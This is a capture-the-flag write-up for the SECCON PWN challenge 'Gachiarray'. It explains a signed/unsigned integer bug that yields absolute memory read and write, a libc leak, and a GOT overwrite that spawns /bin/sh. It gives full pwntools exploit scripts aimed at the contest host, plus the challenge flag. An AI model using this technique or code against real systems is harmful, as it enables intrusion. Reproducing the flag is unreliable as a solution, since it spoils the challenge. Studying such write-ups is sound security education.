//Gachiarray (PWN) Writeup
Author: ptr-yudai
Challenge: Gachiarray
Category: PWN
Remote: nc gachiarray.seccon.games 5000
Flag: SECCON{A=B;print(B);and_now_A_is_not_B_how?}
>Table of Contents
>Challenge Overview
The challenge provides a simple array manipulation service written in C. Users can:
-
Initialize an array with a given capacity, size, and initial value
-
Read/write elements at specific indices
-
Resize the array
The binary is not position-independent (No PIE), making global variables and the GOT at fixed addresses.
>Initial Recon
Files Provided
main.c - Source code
chall - Compiled binary
Dockerfile - Uses ubuntu:24.04
compose.yml - Docker Compose config
Binary Protections
$ checksec ./chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
-
No PIE: Fixed addresses for globals and GOT
-
Partial RELRO: GOT is writable after relocation
-
NX: Stack is non-executable
-
No Canary: No stack protection
Key Data Structures
typedef union {
struct {
int32_t capacity;
int32_t size;
int32_t initial;
};
struct {
int32_t op;
int32_t index;
int32_t value;
};
} pkt_t;
struct {
uint32_t size;
uint32_t capacity;
int32_t initial;
int32_t *data;
} g_array;
-
pkt_tis a 12-byte union used for all communication -
g_arrayis a global struct at fixed address0x404070
>Vulnerability Analysis
The Core Bug: Signed/Unsigned Integer Mismatch
The vulnerability lies in the type mismatch between:
-
Input packet fields:
int32_t(signed) -
Global array fields:
uint32_t(unsigned)
Critical Code Paths
1. Array Initialization (array_init)
void array_init(pkt_t *pkt) {
// Note: distributed binary has a bug where it prints size instead of capacity
// but the logic remains the same
g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
g_array.size = pkt->size; // int32_t -> uint32_t
g_array.capacity = pkt->capacity; // int32_t -> uint32_t
for (size_t i = 0; i < pkt->size; i++)
g_array.data[i] = pkt->initial;
}
2. Array Resize (main case 3)
case 3: // resize
if (g_array.capacity < pkt.size) // uint32_t < int32_t (signed comparison)
fatal("Over capacity");
for (int i = g_array.size; i < pkt.size; i++) // int i, uint32_t g_array.size, int32_t pkt.size
g_array.data[i] = g_array.initial;
g_array.size = pkt.size; // int32_t -> uint32_t
break;
The Exploitation Primitive
When pkt->size is negative (e.g., -1):
-
In
array_init:g_array.size = 0xffffffff(very large unsigned) -
In
resize: The comparisong_array.capacity < pkt.sizefails because-1is small as signed -
The loop
for (int i = g_array.size; i < pkt.size; i++)becomes:
- i starts at a large unsigned value
- pkt.size is -1 (signed)
- Loop continues until i wraps around to -1
This allows out-of-bounds write beyond the allocated buffer!
Even Better: The malloc-fail Trick
If we initialize with capacity = -1, size = -1:
-
malloc(-1 * 4)fails →g_array.data = NULL -
g_array.capacity = 0xffffffff,g_array.size = 0xffffffff -
Later
resize(-1)setsg_array.sizeto0xffffffffwithout touching memory
Now get/set operations calculate addresses as:
addr = g_array.data + index * 4 // NULL + index * 4 = index * 4
Since index is sign-extended, we get absolute address read/write for any address in the low canonical half!
>Exploitation Strategy
Step 1: Gain Arbitrary Read/Write
-
Send init packet:
capacity = -1, size = -1, initial = 0 -
This forces
mallocto fail →g_array.data = NULL -
Send resize packet:
size = -1 -
Now we have absolute address read/write via
get/set
Step 2: Leak libc Base
-
Use
getto readread@GOTat0x404008 -
Calculate libc base:
libc_base = read_addr - read_offset
Step 3: Hijack Control Flow
-
Calculate
systemaddress:system_addr = libc_base + system_offset -
Overwrite
__fprintf_chk@GOT(at0x404028) withsystem_addr -
Overwrite
stderrpointer (at0x404060) to point to"/bin/sh" -
Trigger
fatal()→ callsfprintf(stderr, ...)→system("/bin/sh")
Step 4: Get the Flag
-
After getting shell, run
cat /srv/flag-* -
Capture and print the flag
>Local Exploit Development
Testing the Primitive
First, let's verify our arbitrary read/write:
#!/usr/bin/env python3
from pwn import *
def p32s(x):
return p32(x & 0xFFFFFFFF, signed=False)
def i32(x):
x &= 0xFFFFFFFF
return x if x < 0x80000000 else x - 0x100000000
def send_pkt(io, a, b, c):
io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))
def op_get(io, index):
send_pkt(io, 1, i32(index), 0)
return int(io.recvline().split(b"=")[1])
def op_set(io, index, value):
send_pkt(io, 2, i32(index), i32(value))
io.recvline()
# Test arbitrary read/write
io = process("./chall")
# Init with malloc failure
send_pkt(io, i32(-1), i32(-1), 0)
io.recvline()
# Resize to set size = 0xffffffff
send_pkt(io, 3, i32(-1), 0)
io.recvline()
# Try reading GOT entry
read_got = 0x404008
read_addr = op_get(io, read_got // 4) | (op_get(io, read_got // 4 + 1) << 32)
print(f"read@GOT: {hex(read_addr)}")
This successfully leaks the read function address!
Building the Full Local Exploit
#!/usr/bin/env python3
from pwn import *
BIN_PATH = "./chall"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
elf = context.binary = ELF(BIN_PATH)
libc = ELF(LIBC_PATH)
def p32s(x):
return p32(x & 0xFFFFFFFF, signed=False)
def i32(x):
x &= 0xFFFFFFFF
return x if x < 0x80000000 else x - 0x100000000
def send_pkt(io, a, b, c):
io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))
def op_get(io, index):
send_pkt(io, 1, i32(index), 0)
return int(io.recvline().split(b"=")[1])
def op_set(io, index, value):
send_pkt(io, 2, i32(index), i32(value))
io.recvline()
def main():
io = process(BIN_PATH)
# Step 1: Get arbitrary read/write
send_pkt(io, i32(-1), i32(-1), 0)
io.recvline()
send_pkt(io, 3, i32(-1), 0)
io.recvline()
# Step 2: Leak libc base
read_got = elf.got["read"]
read_addr = op_get(io, read_got // 4) | (op_get(io, read_got // 4 + 1) << 32)
libc.address = read_addr - libc.symbols["read"]
print(f"[+] libc base: {hex(libc.address)}")
print(f"[+] system: {hex(libc.symbols['system'])}")
# Step 3: Hijack control flow
fprintf_got = elf.got["__fprintf_chk"]
stderr_addr = 0x404060 # Fixed address due to No PIE
# Write "/bin/sh" to writable location
binsh_addr = 0x404068 # Gap in .bss
op_set(io, binsh_addr // 4, u32(b"/bin"))
op_set(io, binsh_addr // 4 + 1, u32(b"/sh\x00"))
# Overwrite GOT and stderr
op_set(io, fprintf_got // 4, libc.symbols["system"] & 0xFFFFFFFF)
op_set(io, fprintf_got // 4 + 1, (libc.symbols["system"] >> 32) & 0xFFFFFFFF)
op_set(io, stderr_addr // 4, binsh_addr & 0xFFFFFFFF)
op_set(io, stderr_addr // 4 + 1, (binsh_addr >> 32) & 0xFFFFFFFF)
# Step 4: Trigger shell
send_pkt(io, 1, -1, 0) # This will call fatal()
# Get flag
io.sendline(b"cat /srv/flag-* 2>/dev/null")
print(io.recvline().decode())
if __name__ == "__main__":
main()
Running this locally gives us a shell and the flag!
>Remote Adaptation
The Challenge
The remote service uses Ubuntu 24.04's libc, which may have different offsets than our local system. We need the exact libc to calculate system correctly.
Solution: Extract Remote libc
Since the Dockerfile specifies ubuntu:24.04, we can extract the exact libc:
docker pull ubuntu:24.04
cid=$(docker create ubuntu:24.04)
docker cp "$cid":/lib/x86_64-linux-gnu/libc.so.6 ./libc-ubuntu24.so.6
docker rm "$cid"
Updated Remote Exploit
The exploit is the same, but we specify the correct libc:
python3 solve.py REMOTE LIBC=./libc-ubuntu24.so.6
>Full Exploit Code
Final solve.py
#!/usr/bin/env python3
from pwn import *
BIN_PATH = "./chall"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
elf = context.binary = ELF(BIN_PATH)
context.log_level = os.environ.get("LOG", "info")
def p32s(x: int) -> bytes:
return p32(x & 0xFFFFFFFF, signed=False)
def i32(x: int) -> int:
x &= 0xFFFFFFFF
return x if x < 0x80000000 else x - 0x100000000
def send_pkt(io, a: int, b: int, c: int):
io.send(p32(a & 0xFFFFFFFF) + p32(b & 0xFFFFFFFF) + p32(c & 0xFFFFFFFF))
def op_get(io, index: int) -> int:
send_pkt(io, 1, i32(index), 0)
line = io.recvline()
# b"array[%d] = %d\n"
val = int(line.split(b"=")[1].strip())
return val & 0xFFFFFFFF
def op_set(io, index: int, value: int):
send_pkt(io, 2, i32(index), i32(value))
io.recvline()
def op_resize(io, new_size: int):
send_pkt(io, 3, i32(new_size), 0)
io.recvline()
def arb_read32(io, addr: int) -> int:
assert addr % 4 == 0
idx = addr // 4
return op_get(io, idx)
def arb_write32(io, addr: int, value: int):
assert addr % 4 == 0
idx = addr // 4
op_set(io, idx, value)
def arb_read64(io, addr: int) -> int:
lo = arb_read32(io, addr)
hi = arb_read32(io, addr + 4)
return lo | (hi << 32)
def arb_write64(io, addr: int, value: int):
arb_write32(io, addr, value & 0xFFFFFFFF)
arb_write32(io, addr + 4, (value >> 32) & 0xFFFFFFFF)
def start():
if args.REMOTE:
host = args.HOST or "gachiarray.seccon.games"
port = int(args.PORT or 5000)
return remote(host, port)
return process(BIN_PATH)
def main():
io = start()
libc_path = args.LIBC or LIBC_PATH
libc = ELF(libc_path)
# Force malloc failure: g_array.data = NULL, g_array.capacity = 0xffffffff, g_array.size = 0
send_pkt(io, i32(-1), i32(-1), 0)
io.recvline()
# Set g_array.size = 0xffffffff without touching memory (loop is skipped)
op_resize(io, -1)
read_got = elf.got["read"]
fprintf_got = elf.got["__fprintf_chk"]
read_addr = arb_read64(io, read_got)
libc.address = read_addr - libc.symbols["read"]
system_addr = libc.symbols["system"]
log.info(f"read@GLIBC: {hex(read_addr)}")
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(system_addr)}")
stderr_addr = elf.symbols.get("stderr", 0x404060)
# Use the 8-byte gap at 0x404068 for "/bin/sh\x00".
# Layout (no PIE):
# 0x404040 stdout (8)
# 0x404050 stdin (8)
# 0x404060 stderr (8)
# 0x404068 gap (8) <-- here
# 0x404070 g_array ...
binsh_addr = 0x404068
arb_write32(io, binsh_addr + 0, u32(b"/bin"))
arb_write32(io, binsh_addr + 4, u32(b"/sh\x00"))
arb_write64(io, fprintf_got, system_addr)
arb_write64(io, stderr_addr, binsh_addr)
# Trigger fatal("Out-of-bounds") => system(stderr) => system("/bin/sh")
send_pkt(io, 1, -1, 0)
marker = b"__END__"
io.sendline(b"cat /srv/flag-* 2>/dev/null; cat /app/flag-* 2>/dev/null; cat /flag-* 2>/dev/null; echo " + marker)
data = io.recvuntil(marker + b"\n", timeout=5)
io.sendline(b"exit")
try:
print(data.decode(errors="ignore"), end="")
except Exception:
print(data)
if __name__ == "__main__":
main()
>Conclusion
The Gachiarray challenge demonstrates a classic signed/unsigned integer conversion vulnerability. The key insights were:
-
Type Mismatch:
int32_tinput values being stored inuint32_tglobals -
malloc-fail Trick: Using negative capacity to force
mallocfailure and getg_array.data = NULL -
Absolute Addressing: With
data = NULL, array access becomes absolute address read/write -
GOT Overwrite: Partial RELRO allows us to overwrite
__fprintf_chk@GOTwithsystem -
Remote libc: Extracting the exact libc from Ubuntu 24.04 for correct offsets
The exploit chain:
malloc-fail → arbitrary read/write → leak libc → GOT overwrite → system("/bin/sh") → flag
This challenge highlights the importance of careful type handling in C and how No PIE + Partial RELRO can make exploitation much more straightforward.
Final Flag: SECCON{A=B;print(B);and_now_A_is_not_B_how?}